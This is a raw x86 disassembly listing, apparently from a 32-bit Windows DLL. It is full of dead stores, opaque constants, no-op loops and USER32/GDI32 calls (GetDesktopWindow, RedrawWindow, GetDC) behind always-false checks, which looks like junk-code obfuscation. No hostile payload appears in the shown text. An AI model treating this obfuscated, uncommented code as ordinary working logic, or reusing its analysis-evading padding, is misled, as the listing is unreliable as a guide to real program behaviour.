mov dword [ebp - 0x30], 6
mov dword [ebp - 0x3c], 0x21b0
mov dword [ebp - 0x34], 0x470ed99e
push 3
pop eax
mov dword [ebp - 0x34], 0x2e166580
mov dword [ebp - 0x30], eax
xor eax, eax
cmp dword [ebp - 0x30], eax
jl 0x10031209
jmp 0x1003112a
xor eax, eax
mov dword [ebp - 0x10], 0x9236
mov dword [ebp - 0x24], 0x2cb3a3fc
cmp dword [ebp - 0x10], eax
jne 0x1003115d
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jne 0x1003115d
push 2
lea ecx, [ebp - 0xda4]
call fcn.1001613c
cmp dword [eax], 0
je 0x1003115a
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x10031197
push 7
pop eax
mov dword [ebp - 0x2c], eax
xor edx, edx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
setle dl
mov dword [ebp - 0x34], edx
jmp 0x10031200
movdqa xmm0, xmmword [0x10007b10]
lea eax, [ebp - 0x1254]
push eax
lea eax, [ebp - 0x1264]
push eax
lea ecx, [ebp - 0x1540]
movdqu xmmword [ebp - 0x1264], xmm0
call fcn.1001614b
lea ecx, [ebp - 0x214]
mov esi, eax
call fcn.10008c23
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xf4c]
push dword [esi]
call fcn.10016111
push 2
lea ecx, [ebp - 0xf4c]
mov byte [ebp - 4], 0xa
call fcn.1001613c
lea ecx, [ebp - 0xf4c]
inc dword [eax]
mov byte [ebp - 4], 9
call fcn.10016137
dec dword [ebp - 0x30]
jns 0x10031128
push 5
pop eax
lea ecx, [ebp - 0xda4]
mov byte [ebp - 4], al
call fcn.10016137
xor eax, eax
mov dword [ebp - 0x34], 0xf1d8987f
mov byte [ebp - 0x25], al
lea ecx, [ebp - 0x33c]
push 2
call fcn.100160cf
push 0xfffffffffffffffe
mov byte [ebp - 4], 0xb
pop eax
mov dword [ebp - 0x4c], eax
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x1c], 0x9b8bc588
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10031274
push dword [ebp - 0x10]
lea ecx, [ebp - 0x33c]
call fcn.1001613c
mov dword [eax], 0x13b91020
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10031255
xor eax, eax
mov dword [ebp - 0x4c], ebx
cmp dword [ebp - 0x4c], eax
jl 0x100313f7
mov dword [ebp - 0x2c], 0x53271639
lea ecx, [ebp - 0x33c]
mov dword [ebp - 0x20], 2
push dword [ebp - 0x4c]
call fcn.1001613c
cmp dword [eax], 0
je 0x100312ac
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
jmp 0x100313ee
xor eax, eax
lea ecx, [ebp - 0x33c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x54], ebx
push dword [ebp - 0x4c]
call fcn.1001613c
mov ecx, dword [ebp - 0x4c]
xor ebx, ebx
push dword [ebp - 0x4c]
sub ecx, dword [eax]
cmp ecx, 0x3c225155
lea ecx, [ebp - 0x33c]
setl bl
call fcn.1001613c
mov edx, dword [ebp - 0x54]
mov esi, eax
mov ecx, dword [ebp - 0x30]
xor eax, eax
add edx, 0x6b0e1b1b
cmp ecx, edx
setg al
sub eax, ebx
xor ebx, ebx
inc ebx
cmp eax, dword [esi]
jge 0x10031343
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x10031339
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x10031336
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x33c]
call fcn.1001613c
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x33c]
mov esi, eax
call fcn.1001613c
mov ecx, dword [esi]
mov dword [eax], ecx
dec dword [ebp - 0x1c]
jns 0x1003130d
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jle 0x10031305
jmp 0x100313ee
xor eax, eax
mov dword [ebp - 0x54], eax
jmp 0x100313e5
mov dword [ebp - 0x50], 0xde0f4c9f
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jg 0x100313e2
push 0xfffffffffffffffc
pop ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x100313da
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x2c]
jne 0x1003139a
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp eax, 0x452a
setl cl
xor eax, eax
cmp ecx, 0x3b51ad5b
setle al
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
push dword [ebp - 0x24]
lea ecx, [ebp - 0x33c]
call fcn.1001613c
push dword [ebp - 0x54]
lea ecx, [ebp - 0x33c]
mov esi, eax
call fcn.1001613c
xor edx, edx
push 0
mov ecx, dword [eax]
mov eax, dword [ebp - 0x50]
mov dword [esi], ecx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
pop eax
setle dl
mov dword [ebp - 0x3c], edx
dec dword [ebp - 0x1c]
jns 0x1003136e
push 0xfffffffffffffffc
pop ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x10031363
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], ebx
jle 0x1003134d
dec dword [ebp - 0x4c]
jns 0x10031280
push 5
pop eax
lea ecx, [ebp - 0x33c]
mov byte [ebp - 4], al
call fcn.10016137
cmp byte [ebp - 0x25], 0
je 0x10031588
mov dword [ebp - 0x24], 0x261f9c28
lea ecx, [ebp - 0x904]
push ebx
call fcn.100160cf
mov byte [ebp - 4], 0xc
xor eax, eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10031451
push dword [ebp - 0x10]
lea ecx, [ebp - 0x904]
call fcn.1001613c
and dword [eax], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10031436
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10031560
push 3
pop esi
push esi
lea ecx, [ebp - 0xf64]
call fcn.100160cf
xor eax, eax
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10031494
push dword [ebp - 0x10]
lea ecx, [ebp - 0xf64]
call fcn.1001613c
or ecx, 0xffffffff
mov dword [eax], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10031477
xor eax, eax
mov dword [ebp - 0x24], 2
cmp dword [ebp - 0x24], eax
jl 0x10031553
push 4
lea ecx, [ebp - 0x514]
call fcn.100160cf
xor eax, eax
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x100314d9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1144], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x100314c0
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x100314ec
push dword [ebp - 0x1c]
call fcn.1001613c
and dword [eax], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
lea ecx, [ebp - 0x514]
jl 0x100314de
dec dword [ebp - 0x113c]
push esi
call fcn.1001613c
and dword [eax], 0
jmp 0x1003152a
xor eax, eax
lea ecx, [ebp - 0x904]
push eax
call fcn.1001613c
or ecx, 0xffffffff
push esi
mov dword [eax], ecx
lea ecx, [ebp - 0x514]
call fcn.1001613c
inc dword [eax]
push esi
lea ecx, [ebp - 0x514]
call fcn.1001613c
cmp dword [eax], 2
jle 0x10031509
lea ecx, [ebp - 0x514]
mov byte [ebp - 4], 0xd
call fcn.10016137
dec dword [ebp - 0x24]
jns 0x100314a4
lea ecx, [ebp - 0xf64]
call fcn.10016137
jmp 0x1003156f
push eax
lea ecx, [ebp - 0x904]
call fcn.1001613c
and dword [eax], 0
dec dword [ebp - 0x3c]
lea ecx, [ebp - 0x904]
push 5
pop eax
mov byte [ebp - 4], al
call fcn.10016137
xor eax, eax
push eax
call edi
mov dword [ebp - 0x24], 0xd3a18e41
xor eax, eax
mov dword [ebp - 0x30], 0xf2c9a130
push 3
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x100315bb
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xdbc], 0xfffffff6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x100315a3
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x100315c3
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x100315da
mov ecx, ebx
cmp dword [ebp - 0x30], eax
jne 0x100315dc
mov ecx, eax
mov eax, dword [ebp - 0x30]
sub ecx, eax
mov dword [ebp - 0xdb8], ecx
mov dword [ebp - 0x30], 0xfffffffa
jmp 0x10031624
or eax, 0xffffffff
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0xb8cff26a
push 8
pop eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0x97440271
mov eax, dword [ebp - 0xdb8]
add eax, 0x31e
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x30]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xa
jg 0x100315f0
dec dword [ebp - 0x34]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xf
jle 0x100310ae
or edi, 0xffffffff
lea ecx, [ebp - 0xf7c]
mov dword [ebp - 4], edi
call fcn.10016137
push 4
lea ecx, [ebp - 0x9e0]
call fcn.100160cf
push 0xfffffffffffffffd
pop eax
push 3
mov dword [ebp - 4], 0xf
lea ecx, [ebp - 0xdd4]
mov dword [ebp - 0x3c], eax
pop esi
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x44], 0xab274bf9
push esi
call fcn.100160cf
mov byte [ebp - 4], 0x10
xor eax, eax
mov dword [ebp - 0x44], 0x452a26f3
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x100316b2
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x9e0]
call fcn.1001613c
mov dword [eax], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10031697
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x100316ce
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xdd4]
call fcn.1001613c
mov dword [eax], 0xfffffffa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x100316b7
push esi
lea ecx, [ebp - 0x9e0]
call fcn.1001613c
lea ecx, [ebp - 0xdd4]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
sub eax, 0x35d34ae3
mov dword [ebp - 0x3c], eax
dec dword [ebp - 0x34]
call fcn.10016137
lea ecx, [ebp - 0x9e0]
mov dword [ebp - 4], edi
call fcn.10016137
push 4
lea ecx, [ebp - 0xb48]
call fcn.100160cf
push 0xfffffffffffffffd
mov dword [ebp - 4], 0x11
lea ecx, [ebp - 0xf94]
pop eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x44], 0xab274bf9
push esi
call fcn.100160cf
mov byte [ebp - 4], 0x12
xor eax, eax
mov dword [ebp - 0x44], 0x452a26f3
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x1003176f
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xb48]
call fcn.1001613c
mov dword [eax], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10031754
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1003178b
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xf94]
call fcn.1001613c
mov dword [eax], 0xfffffffa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10031774
push esi
lea ecx, [ebp - 0xb48]
call fcn.1001613c
lea ecx, [ebp - 0xf94]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
sub eax, 0x35d34ae3
mov dword [ebp - 0x3c], eax
dec dword [ebp - 0x34]
call fcn.10016137
lea ecx, [ebp - 0xb48]
mov dword [ebp - 4], edi
call fcn.10016137
push 4
lea ecx, [ebp - 0x9f8]
call fcn.100160cf
push 0xfffffffffffffffd
mov dword [ebp - 4], 0x13
lea ecx, [ebp - 0xdec]
pop eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x44], 0xab274bf9
push esi
call fcn.100160cf
mov byte [ebp - 4], 0x14
xor eax, eax
mov dword [ebp - 0x44], 0x452a26f3
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x1003182c
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x9f8]
call fcn.1001613c
mov dword [eax], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10031811
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10031848
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xdec]
call fcn.1001613c
mov dword [eax], 0xfffffffa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10031831
push esi
lea ecx, [ebp - 0x9f8]
call fcn.1001613c
lea ecx, [ebp - 0xdec]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
sub eax, 0x35d34ae3
mov dword [ebp - 0x3c], eax
dec dword [ebp - 0x34]
call fcn.10016137
lea ecx, [ebp - 0x9f8]
mov dword [ebp - 4], edi
call fcn.10016137
mov edi, dword [sym.imp.USER32.dll_RedrawWindow]
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x3c], 0x1df82d83
mov dword [ebp - 0x18], 0x876a47cd
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xd
jg 0x10031a5f
or esi, 0xffffffff
push ebx
lea ecx, [ebp - 0x3fc]
call fcn.100160cf
mov dword [ebp - 4], 0x15
xor eax, eax
mov dword [ebp - 0x4c], 0x78c38ec3
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x100318ef
push dword [ebp - 0x10]
lea ecx, [ebp - 0x3fc]
call fcn.1001613c
mov dword [eax], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x100318d5
xor eax, eax
mov esi, dword [ebp - 0x1c]
lea ecx, [ebp - 0x3fc]
push eax
call fcn.1001613c
mov dword [eax], esi
test esi, esi
jne 0x10031935
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x3fc]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor eax, eax
push eax
call fcn.1001613c
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x3c]
jne 0x10031935
mov edx, eax
jmp 0x10031937
mov edx, ebx
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
test ecx, ecx
setns al
shl eax, 3
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x10031a3d
mov dword [ebp - 0x3c], 7
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10031985
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x5f4], 0xd881
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003196c
xor eax, eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], eax
jl 0x10031a2e
mov eax, dword [ebp - 0x5f0]
lea ecx, [ebp - 0x3fc]
mov eax, dword [ebp - 0x5f0]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x5f4]
push dword [ebp - 0x4c]
call fcn.1001613c
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3fc]
mov esi, eax
call fcn.1001613c
push dword [ebp - 0x4c]
xor ebx, ebx
mov ecx, dword [eax]
cmp ecx, dword [esi]
lea ecx, [ebp - 0x3fc]
setge bl
call fcn.1001613c
push dword [ebp - 0x4c]
xor ecx, ecx
cmp ebx, dword [eax]
setne cl
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x3fc]
call fcn.1001613c
xor ecx, ecx
cmp dword [eax], 0x623b
sete cl
xor eax, eax
cmp ecx, dword [ebp - 0x3c]
setg al
mov dword [ebp - 0x3c], eax
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x10031a23
push 0xb15
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
dec dword [ebp - 0x4c]
jns 0x10031991
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x1003195c
xor ebx, ebx
inc ebx
or esi, 0xffffffff
lea ecx, [ebp - 0x3fc]
mov dword [ebp - 4], esi
call fcn.10016137
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xd
jle 0x100318ae
xor eax, eax
jmp 0x10031a62
or esi, 0xffffffff
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x3c], 0x1df82d83
mov dword [ebp - 0x18], 0x876a47cd
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xd
jg 0x10031c2f
push ebx
lea ecx, [ebp - 0x3c4]
call fcn.100160cf
mov dword [ebp - 4], 0x16
xor eax, eax
mov dword [ebp - 0x4c], 0x78c38ec3
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10031ac1
push dword [ebp - 0x10]
lea ecx, [ebp - 0x3c4]
call fcn.1001613c
mov dword [eax], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10031aa7
xor eax, eax
mov esi, dword [ebp - 0x1c]
lea ecx, [ebp - 0x3c4]
push eax
call fcn.1001613c
mov dword [eax], esi
test esi, esi
jne 0x10031b07
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x3c4]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor eax, eax
push eax
call fcn.1001613c
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x3c]
jne 0x10031b07
mov edx, eax
jmp 0x10031b09
mov edx, ebx
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
test ecx, ecx
setns al
shl eax, 3
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x10031c0f
mov dword [ebp - 0x3c], 7
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10031b57
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x6b4], 0xd881
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10031b3e
xor eax, eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], eax
jl 0x10031c00
mov eax, dword [ebp - 0x6b0]
lea ecx, [ebp - 0x3c4]
mov eax, dword [ebp - 0x6b0]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x6b4]
push dword [ebp - 0x4c]
call fcn.1001613c
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3c4]
mov esi, eax
call fcn.1001613c
push dword [ebp - 0x4c]
xor ebx, ebx
mov ecx, dword [eax]
cmp ecx, dword [esi]
lea ecx, [ebp - 0x3c4]
setge bl
call fcn.1001613c
push dword [ebp - 0x4c]
xor ecx, ecx
cmp ebx, dword [eax]
setne cl
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x3c4]
call fcn.1001613c
xor ecx, ecx
cmp dword [eax], 0x623b
sete cl
xor eax, eax
cmp ecx, dword [ebp - 0x3c]
setg al
mov dword [ebp - 0x3c], eax
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x10031bf5
push 0xb15
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
dec dword [ebp - 0x4c]
jns 0x10031b63
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x10031b2e
xor ebx, ebx
inc ebx
or esi, 0xffffffff
lea ecx, [ebp - 0x3c4]
mov dword [ebp - 4], esi
call fcn.10016137
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xd
jle 0x10031a80
xor eax, eax
mov dword [ebp - 0x54], 0xa61928c1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10031c58
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1408], 0x3718
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10031c3f
xor eax, eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0xffffffe4
jg 0x10031d89
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 0xffffffec
jmp 0x10031d70
push 2
lea ecx, [ebp - 0x568]
call fcn.100160cf
mov dword [ebp - 4], 0x17
push 0xfffffffffffffffc
pop eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x3c], 0x6f93bd5d
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10031cbf
push dword [ebp - 0x10]
lea ecx, [ebp - 0x568]
call fcn.1001613c
mov dword [eax], 0x49f845d8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10031ca0
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10031d56
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x10031ce0
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x78], esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10031ccf
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10031d07
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x78], ebx
cmp dword [ebp - 0x78], eax
jl 0x10031d53
xor ebx, ebx
push dword [ebp - 0x78]
lea ecx, [ebp - 0x568]
call fcn.1001613c
cmp dword [eax], ebx
jne 0x10031d43
push dword [ebp - 0x78]
lea ecx, [ebp - 0x568]
call fcn.1001613c
push dword [ebp - 0x10]
lea ecx, [ebp - 0x568]
call fcn.1001613c
mov eax, ebx
jmp 0x10031d46
xor eax, eax
inc eax
mov dword [ebp - 0x3c], eax
dec dword [ebp - 0x78]
jns 0x10031d11
xor ebx, ebx
xor eax, eax
inc ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jle 0x10031cc7
lea ecx, [ebp - 0x568]
mov dword [ebp - 4], esi
call fcn.10016137
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xe
jne 0x10031c74
dec dword [ebp - 0x54]
cmp dword [ebp - 0x54], 0xffffffe4
jle 0x10031c65
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x3c], 0x1df82d83
mov dword [ebp - 0x18], 0x876a47cd
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xd
jg 0x10031f56
push ebx
lea ecx, [ebp - 0x424]
call fcn.100160cf
mov dword [ebp - 4], 0x18
xor eax, eax
mov dword [ebp - 0x4c], 0x78c38ec3
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10031de8
push dword [ebp - 0x10]
lea ecx, [ebp - 0x424]
call fcn.1001613c
mov dword [eax], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10031dce
xor eax, eax
mov esi, dword [ebp - 0x1c]
lea ecx, [ebp - 0x424]
push eax
call fcn.1001613c
mov dword [eax], esi
test esi, esi
jne 0x10031e2e
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x424]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor eax, eax
push eax
call fcn.1001613c
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x3c]
jne 0x10031e2e
mov edx, eax
jmp 0x10031e30
mov edx, ebx
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
test ecx, ecx
setns al
shl eax, 3
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x10031f36
mov dword [ebp - 0x3c], 7
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10031e7e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x608], 0xd881
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10031e65
xor eax, eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], eax
jl 0x10031f27
mov eax, dword [ebp - 0x604]
lea ecx, [ebp - 0x424]
mov eax, dword [ebp - 0x604]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x608]
push dword [ebp - 0x4c]
call fcn.1001613c
push dword [ebp - 0x18]
lea ecx, [ebp - 0x424]
mov esi, eax
call fcn.1001613c
push dword [ebp - 0x4c]
xor ebx, ebx
mov ecx, dword [eax]
cmp ecx, dword [esi]
lea ecx, [ebp - 0x424]
setge bl
call fcn.1001613c
push dword [ebp - 0x4c]
xor ecx, ecx
cmp ebx, dword [eax]
setne cl
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x424]
call fcn.1001613c
xor ecx, ecx
cmp dword [eax], 0x623b
sete cl
xor eax, eax
cmp ecx, dword [ebp - 0x3c]
setg al
mov dword [ebp - 0x3c], eax
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x10031f1c
push 0xb15
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
dec dword [ebp - 0x4c]
jns 0x10031e8a
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x10031e55
xor ebx, ebx
inc ebx
or esi, 0xffffffff
lea ecx, [ebp - 0x424]
mov dword [ebp - 4], esi
call fcn.10016137
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xd
jle 0x10031da7
xor eax, eax
mov dword [ebp - 0x54], 0x3ae35568
mov dword [ebp - 0x10], ebx
push 3
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10031f83
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1664], 0x3009
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10031f6b
xor eax, eax
mov ebx, dword [sym.imp.USER32.dll_IsWindow]
mov esi, dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
mov dword [ebp - 0x54], 0xffffffee
jmp 0x100320dc
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x30], 0x11
jmp 0x100320a5
or ecx, 0xffffffff
mov dword [ebp - 0x24], ecx
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10031fc5
call dword [sym.imp.USER32.dll_GetCapture]
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10032098
mov dword [ebp - 0x10], 0xffffc085
mov dword [ebp - 0x10], eax
jmp 0x1003208b
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10031ff3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
xor eax, eax
mov dword [ebp - 0x40], 2
cmp dword [ebp - 0x40], eax
jl 0x10032088
mov dword [ebp - 0x20], 0x746a1c17
mov dword [ebp - 0x20], 2
cmp dword [ebp - 0x20], eax
jl 0x1003207f
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10032024
push eax
call esi
xor eax, eax
mov byte [ebp - 0x25], al
